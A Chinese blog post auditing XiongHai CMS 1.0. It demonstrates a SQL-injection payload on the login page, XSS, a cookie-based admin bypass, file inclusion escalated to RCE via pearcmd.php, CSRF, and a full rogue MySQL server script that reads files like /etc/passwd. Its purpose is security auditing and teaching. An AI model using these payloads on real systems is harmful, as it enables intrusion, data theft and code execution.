熊海1.0cmsPHP代码审计

熊海1.0cmsPHP代码审计

环境搭建

下载之后直接使用phpstduy搭建就好了

工具使用

比如使用seay审计系统

image-20240805101911200

sql大多数是存在的,但是没有文件上传,这个就是需要自己去验证

漏洞审计

SQL注入

有点多,随便拿一个举例子

就比如我们的登录页面/admin/files/login.php

<?php 
ob_start();
require '../inc/conn.php';
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);if (!mysql_num_rows($result)) {  
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;
}else{
$passwords=$users['password'];
if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;   }
//写入登录信息并记住30天
if ($checkbox==1){
setcookie('user',$user,time()+3600*24*30,'/');
}else{
setcookie('user',$user,0,'/');
}
echo "<script>this.location='?r=index'</script>";
exit;
}
exit;
ob_end_flush();
}
?>

可以看到是没有过滤我们的输入的,直接拼接进了我们的sql语句

注入点在user

1' or updatexml(1,concat(0x7e,(select database()),0x7e),1)#

image-20240805102344238

当然还有太多了,都是这个问题

XSS

xss就是要输出到页面上,还是有太多了,没有登录进管理系统的会

有下面几处

/files/contact.php

漏洞位置:files/contact.php 第12~15行

$page=addslashes($_GET['page']);
if ($page<>""){
if ($page<>1){
$pages="第".$page."页 - ";<title><?php echo $navs['name']?> - <?php echo $pages.$info['name']?></title>    

可以看到是直接把我们的$pages输出到了页面上

image-20240805102704978

/files/content.php

这里有一个存储型的xss,因为是存在评论功能的,然后也会把我们的评论给输出到页面上

但是我没有成功就使用了其他的

/admin/files/

只要有list的地方,都会展示我们的输入,我只拿一个举例子

image-20240805103043552

比如我们的wzlist

展示文章,我们可以编辑文章,也可以新建文章

image-20240805103209239

然后保存后去展示页面

image-20240805103417778

垂直越权

我们看看后端是怎么验证我是一个admin的

我们随便去一个需要admin登录才可能访问的页面,都发现包含了一个文件…/inc/checklogin.php

我们去看看

<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;	
}
?>

只是验证了我们的cookie,而且只要cookie不是空的就可以进入

但是有个细节,就是你虽然只要cookie不为空就不会强制你跳转到登录界面,如果要登录成功,还是需要正确的cookie,所以我们这里手动跳转

image-20240805112114335

然后成功登录到后台

文件包含

这个就不说了,太弱智了

index文件入口

<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

直接就是包含任意文件了,可以目录穿越的
但是不能使用伪协议是比较可惜的,因为前面files/是多余字符

当然,文件包含很多利用,比如pear问包含,日志文件包含,我们都可以造成rce

不过我们需要知道路径,看y4是这样的

因为是宝塔安装的缘故所以很容易猜测到宝塔php的安装路径/www/server/php/52/,这里介绍另一个trick的使用也就是pearcmd.php,在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。,这里这个老cms一定是只能5版本所以一定可以

因此构造payload,往/tmp/hello.php写文件即可

image-20240805112605005

之后文件包含成功RCE

img

mysql任意文件读取

这个是我们刚刚搭建这个系统的时候,我们是需要连接mysql的

image-20240805112732851

这个时候就可以实现任意文件读取的操作

然后去搜索一下mysql任意文件读取的脚本就好了,根据你php的版本去找一下

<?php
function unhex($str) { return pack("H*", preg_replace('#[^a-f0-9]+#si', '', $str)); }$filename = "/etc/passwd";$srv = stream_socket_server("tcp://0.0.0.0:1237");while (true) {echo "Enter filename to get [$filename] > ";$newFilename = rtrim(fgets(STDIN), "\r\n");if (!empty($newFilename)) {$filename = $newFilename;}echo "[.] Waiting for connection on 0.0.0.0:1237\n";$s = stream_socket_accept($srv, -1, $peer);echo "[+] Connection from $peer - greet... ";fwrite($s, unhex('45 00 00 00 0a 35 2e 31  2e 36 33 2d 30 75 62 756e 74 75 30 2e 31 30 2e  30 34 2e 31 00 26 00 0000 7a 42 7a 60 51 56 3b  64 00 ff f7 08 02 00 0000 00 00 00 00 00 00 00  00 00 00 00 64 4c 2f 4447 77 43 2a 43 56 63 72  00                     '));fread($s, 8192);echo "auth ok... ";fwrite($s, unhex('07 00 00 02 00 00 00 02  00 00 00'));fread($s, 8192);echo "some shit ok... ";fwrite($s, unhex('07 00 00 01 00 00 00 00  00 00 00'));fread($s, 8192);echo "want file... ";fwrite($s, chr(strlen($filename) + 1) . "\x00\x00\x01\xFB" . $filename);stream_socket_shutdown($s, STREAM_SHUT_WR);echo "\n";echo "[+] $filename from $peer:\n";$len = fread($s, 4);if(!empty($len)) {list (, $len) = unpack("V", $len);$len &= 0xffffff;while ($len > 0) {$chunk = fread($s, $len);$len -= strlen($chunk);echo $chunk;}}echo "\n\n";fclose($s);
}

image-20240805113157194

这些都是y4实现的,我也没有实现

CSRF漏洞

首先我们可以看到无论是什么操作,后端都是没有进行token验证的,所以如果admin登录了一个账户,我们诱导它去点击我们的链接,就可以实现一些操作,比如删除文章

先抓一个删除文件的包

然后使用bp自带的工具,生成csrf的poc,你可以放在你的官网服务器上,然后只要admin用户点击你的链接,就会删除文章

image-20240805114433920

参考

https://y4tacker.github.io/2022/06/16/year/2022/6/Y4%E6%95%99%E4%BD%A0%E5%AE%A1%E8%AE%A1%E7%B3%BB%E5%88%97%E4%B9%8B%E7%86%8A%E6%B5%B7CMS%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/#%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87%E5%85%8D%E5%AF%86%E7%A0%81%E7%99%BB%E5%85%A5%E5%90%8E%E5%8F%B0-%E5%9E%82%E7%9B%B4%E8%B6%8A%E6%9D%83

6%95%99%E4%BD%A0%E5%AE%A1%E8%AE%A1%E7%B3%BB%E5%88%97%E4%B9%8B%E7%86%8A%E6%B5%B7CMS%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/#%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87%E5%85%8D%E5%AF%86%E7%A0%81%E7%99%BB%E5%85%A5%E5%90%8E%E5%8F%B0-%E5%9E%82%E7%9B%B4%E8%B6%8A%E6%9D%83

https://xz.aliyun.com/t/10393?time__1311=Cqjx2Qi%3DqYwxlxGgh7Q4ODAOA7DCAeD#toc-4

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/391891.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Ceres Cuda加速

文章目录 一、简介二、准备工作三、实现代码四、实现效果参考资料一、简介 字Ceres2.2.1版本之后,作者针对于稠密矩阵的分解计算等操作进行了Cuda加速,因此这里就基于此项改动测试一下效果。 二、准备工作 1、首先是需要安装Cuda这个英伟达第三方库,https://developer.nvidi…

日企的“目标式招聘”到底什么意思?

看到篇文章称&#xff1a;日企的目标式招聘&#xff0c;高效率招聘。这是什么意思呢&#xff1f;小编今天来跟大家讲一讲。 首先&#xff0c;日企的目标式招聘&#xff0c;其实企业也是迫不得已。一个大型企业的招聘负责人说&#xff1a;“以前我们都是认真地考察每一位应聘者&…

Vue 使用elementUI-plus el-calendar加 公历转农历 是否节假日 等

效果图&#xff1a; 1. 使用到自定文件 calendar.js /*** 1900-2100区间内的公历、农历互转* charset UTF-8* Author Jea杨(JJonlineJJonline.Cn)* Time 2014-7-21* Time 2016-8-13 Fixed 2033hex、Attribution Annals* Time 2016-9-25 Fixed lunar LeapMonth Param…

浏览器事件循环详解

1. 浏览器的进程模型 1.1. 何为进程&#xff1f; 程序运行需要有它自己的专属内存空间&#xff0c;可以把这块内存空间简单的理解为进程。 每个应用至少有一个进程&#xff0c;进程之间相互独立&#xff0c;即使要通信&#xff0c;也需要双方同意。 1.2. 何为线程&#xff1f…

NodeJS的安装【windows】

文章目录 1 安装包下载2 下载过程3 测试 1 安装包下载 Node.js中文网&#xff1a;https://nodejs.cn 2 下载过程 3 测试

【游戏引擎之路】登神长阶(八)——Python之旅行,休息一下,去看看新世界

5月20日-6月4日&#xff1a;攻克2D物理引擎。 6月4日-6月13日&#xff1a;攻克《3D数学基础》。 6月13日-6月20日&#xff1a;攻克《3D图形教程》。 6月21日-6月22日&#xff1a;攻克《Raycasting游戏教程》。 6月23日-7月1日&#xff1a;攻克《Windows游戏编程大师技巧》。 7月…

基于huggingface和langchain快速开发大模型应用

目录 一、HuggingFace. 2 1.1定义... 2 1.2活跃度... 2 1.3 工具集... 2 二、HuggingFace工具介绍... 3 2.1 Pipelines. 3 2.1.1定义... 3 2.1.2常见参数... 3 2.2、AutoClass. 4 2.2.1定义... 4 2.2.2 支持模型架构列表... 4 三、HuggingFace案例介绍... 4 3.1基…

Midjourney小技巧-提升出图质量的常用公式

一个公式让你的Midjourney生成更具韵味的人像身影图 step1-测试&#xff1a;输入提示词 - 一个面容精致的亚洲女性 - An Asian woman with a delicate face 生成的图片还是挺唯美的&#xff0c;就是过于单调&#xff0c;稀疏平常 step2-使用公式&#xff1a; 谁谁&#xff0…

flutter开发环境搭建与android studio 安装配置

flutter开发环境搭建与android studio 安装配置 安装 android studio 下载安装 Android Studio 开发工具 Android Studio官网安装的时看到配置路径就换成自己其他盘的路径即可&#xff0c;其他的一路下一步就ok安装完毕&#xff0c;运行打开缺少 android sdk 按照提示下载即可…

C++ 继承 派生类的运算符重载

C(二十二)派生类的运算符重载 语法赋值顺序引例1:当子类,不自实现赋值运算符函数重载时,默认调用父类的赋值运算符函数引例2:子类自实现赋值运算符函数重载,不做特殊处理时,只会调用父类的赋值运算符函数.引例3:子类自实现赋值运算符函数重载,在函数体内调用父类的赋值运算符函…

【leetcode】平衡二叉树、对称二叉树、二叉树的层序遍历(广度优先遍历)(详解)

Hi~&#xff01;这里是奋斗的明志&#xff0c;很荣幸您能阅读我的文章&#xff0c;诚请评论指点&#xff0c;欢迎欢迎 ~~ &#x1f331;&#x1f331;个人主页&#xff1a;奋斗的明志 &#x1f331;&#x1f331;所属专栏&#xff1a;数据结构、LeetCode专栏 &#x1f4da;本系…

【Qt】如何搭建Qt开发环境

Qt的开发工具 需要搭建Qt开发环境&#xff0c;需要安装3个部分&#xff1a; C编译器&#xff08;gcc、cl.exe...&#xff09;注意&#xff0c;这里的C编译器不是指visual studio这种集成开发环境&#xff0c;编译器不等于IDE&#xff0c;编译器只是IDE调用的一个程序。Qt SDK…

将本地的业务写成成可供RPC远程调用的方法

第一步&#xff1a;首先我们先定义proto文件&#xff0c;这些proto文件将会为远程调用者提供调用的方法&#xff0c;为login方法。 2.重写UserServiceRpc类中的Login方法。 在Login中做的操作主要是&#xff0c;得到requst里面的参数&#xff0c;然后调用本地的Login方法&#…

SQL注入 报错注入、文件上传、布尔盲注、时间盲注

第7关 文件上传 ---面试官常问 1、MySQL上传shell的满足条件 如果面试官问你如何通过MySQL向网站上传一个shell脚本或者其他语言的一些脚本 ---就可以通过outfile导出的方式进行上传&#xff1b; outfile导出的前提条件&#xff1a;1、必须知道网站的物理路径&#xf…

网络编程相关

关于ipv4和v6 ipv4小细节-------公网和私有地址 端口 InetAddress 协议 UDP、TCP UDP通信程序 发送&#xff08;单播&#xff09;&#xff1a; 接收&#xff08;单播&#xff09;&#xff1a; UDP三种通信方式 单播和广播代码几乎相同&#xff0c;就是将&#xff1a; InetAddr…

【JVM基础11】——垃圾回收-说一下JVM的分代回收?

目录 1- 引言&#xff1a;分代回收1-1 什么是分代回收&#xff08;What&#xff09;1-2 为什么要用分代回收&#xff1f;&#xff08;Why&#xff09; 2- ⭐核心&#xff1a;分代回收工作机制2-1 工作机制2-2 MinorGC、Mixed GC、FullGC的区别是什么 3- 总结3-1 说一下 JVM 的分…

如何利用 ChatGPT 提高工作效率?

内容创作与总结&#xff1a; 写作辅助&#xff1a;可以帮助撰写文章、报告、邮件等各种文本&#xff0c;如为招商银行写宣传文案、写论文、写故事等。学习材料生成&#xff1a;能够生成学习材料&#xff0c;如摘要、抽认卡和测验&#xff0c;帮助学生复习和学习课程。评估和考核…

【Material-UI】深入理解useAutocomplete Hook:自定义与高级用法

文章目录 一、什么是useAutocomplete&#xff1f;导入useAutocomplete 二、基本用法代码解析 三、高级定制1. 自定义选项渲染2. 分组和排序3. 自定义输入框行为4. 与其他组件集成 四、注意事项1. 类型安全2. 性能优化 五、总结 Material-UI提供了强大的Autocomplete组件&#x…

Android 本地化、多语言切换:Localization

目录 1&#xff09;如何实现多语言切换、如何实现跟随手机语言切换而切换app语言 2&#xff09;Localization是什么 3&#xff09;不管手机语言如何&#xff0c;根据用户在App选择的语言&#xff0c;只切换App语言 4&#xff09;文字长短不一样&#xff0c;怎么办呢? 一、Lo…

Java面试之操作系统

1、冯诺依曼模型 运算器、控制器、存储器、输入设备、输出设备 32位和64位CPU最主要区别是一次性能计算多少字节数据&#xff0c;如果计算的数额不超过 32 位数字的情况下&#xff0c;32 位和 64 位 CPU 之间没什么区别的&#xff0c;只有当计算超过 32 位数字的情况下&#…